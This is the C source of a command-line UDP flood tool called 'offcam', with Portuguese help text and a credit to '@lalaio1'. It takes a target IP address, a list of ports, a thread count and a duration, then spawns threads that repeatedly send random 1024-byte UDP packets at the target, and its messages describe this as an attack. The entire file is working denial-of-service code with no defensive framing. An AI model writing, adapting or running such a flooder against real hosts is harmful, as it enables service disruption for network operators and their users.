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offcam.c
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offcam.c
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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <pthread.h>
#include <time.h>
#include <unistd.h>
#define RED "\033[1;31m"
#define GREEN "\033[1;32m"
#define YELLOW "\033[1;33m"
#define BLUE "\033[1;34m"
#define MAGENTA "\033[1;35m"
#define CYAN "\033[1;36m"
#define RESET "\033[0m"
// _____ ___ ___ _____
//| | _| _| | |___ _____
//| | | _| _| | --| .'| |
//|_____|_| |_| |_____|__,|_|_|_|
void show_banner() {
printf(RED" _____ ___ ___ "BLUE" _____ \n"RESET);
printf(RED "| | _| _| "BLUE"| |___ _____ \n" RESET);
printf(RED "| | | _| _| "BLUE"| --| .'| |\n" RESET);
printf(RED "|_____|_| |_| "BLUE"|_____|__,|_|_|_|\n\n" RESET);
}
int internet_connection() {
struct sockaddr_in sa;
return inet_pton(AF_INET, "8.8.8.8", &(sa.sin_addr)) != 0;
}
void *send_random_udp_packets(void *arg) {
struct sockaddr_in *target = (struct sockaddr_in *)arg;
char random_data[1024];
int sock;
if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
perror(RED "[-]"RESET" Erro ao criar socket" RESET);
return NULL;
}
for (int i = 0; i < sizeof(random_data); i++) {
random_data[i] = rand() % 256;
}
if (sendto(sock, random_data, sizeof(random_data), 0, (struct sockaddr *)target, sizeof(*target)) == -1) {
perror(RED "[-]"RESET" Erro ao enviar pacote UDP" RESET);
} else {
printf(GREEN "[+]"RESET" Enviado pacote UDP aleatório\n" RESET);
}
close(sock);
return NULL;
}
void multiple_threads(char *ip, int *ports, int total_ports, int total_threads, int duration) {
pthread_t threads[total_ports * total_threads];
struct sockaddr_in targets[total_ports];
for (int i = 0; i < total_ports; i++) {
targets[i].sin_family = AF_INET;
targets[i].sin_port = htons(ports[i]);
inet_pton(AF_INET, ip, &targets[i].sin_addr);
}
time_t start_time = time(NULL);
while (time(NULL) - start_time < duration) {
for (int i = 0; i < total_ports; i++) {
for (int j = 0; j < total_threads; j++) {
pthread_create(&threads[i * total_threads + j], NULL, send_random_udp_packets, (void *)&targets[i]);
}
}
for (int i = 0; i < total_ports * total_threads; i++) {
pthread_join(threads[i], NULL);
}
}
}
void show_help() {
printf("Uso:\n");
printf("./offcam <IP alvo> <portas> <número de threads> [opções adicionais]\n\n");
printf("Argumentos obrigatórios:\n");
printf(" - IP alvo: Endereço IP do alvo\n");
printf(" - Portas: Portas separadas por vírgula (ex: 80,443)\n");
printf(" - Número de threads: Quantidade de threads por porta\n\n");
printf("Opções adicionais:\n");
printf(" -d <duração>: Define a duração do ataque em segundos (ex: -d 30)\n");
printf(" -l : Exibe log detalhado de cada pacote enviado\n");
printf(" -h : Exibe esta mensagem de ajuda\n\n");
printf("Exemplo de uso:\n");
printf(" ./offcam 192.168.0.1 80,443 5 -d 30 -l\n");
printf(" => Envia pacotes para o IP 192.168.0.1 nas portas 80 e 443 com 5 threads por porta, durante 30 segundos, e exibe o log dos pacotes enviados.\n");
}
int main(int argc, char *argv[]) {
show_banner();
if (!internet_connection()) {
printf(RED "[-]"RESET" Sem conexão com a internet\n" RESET);
return 1;
}
if (argc < 4) {
printf(RED "[-]"RESET" Argumentos insuficientes.\n" RESET);
show_help();
return 1;
}
char *ip = argv[1];
char *port_str = argv[2];
int num_threads = atoi(argv[3]);
int duration = 10;
int log_enabled = 0;
for (int i = 4; i < argc; i++) {
if (strcmp(argv[i], "-d") == 0 && i + 1 < argc) {
duration = atoi(argv[++i]);
} else if (strcmp(argv[i], "-l") == 0) {
log_enabled = 1;
} else if (strcmp(argv[i], "-h") == 0) {
show_help();
return 0;
} else {
printf(RED "[-]"RESET" Opção desconhecida: %s\n" RESET, argv[i]);
show_help();
return 1;
}
}
int ports[10];
int total_ports = 0;
char *token = strtok(port_str, ",");
while (token != NULL && total_ports < 10) {
ports[total_ports++] = atoi(token);
token = strtok(NULL, ",");
}
srand(time(NULL));
printf(BLUE "[!]"RESET" Iniciando ataque por %d segundos...\n" RESET, duration);
multiple_threads(ip, ports, total_ports, num_threads, duration);
printf(GREEN "[@lalaio1]"RESET" > Ataque finalizado.\n" RESET);
return 0;
}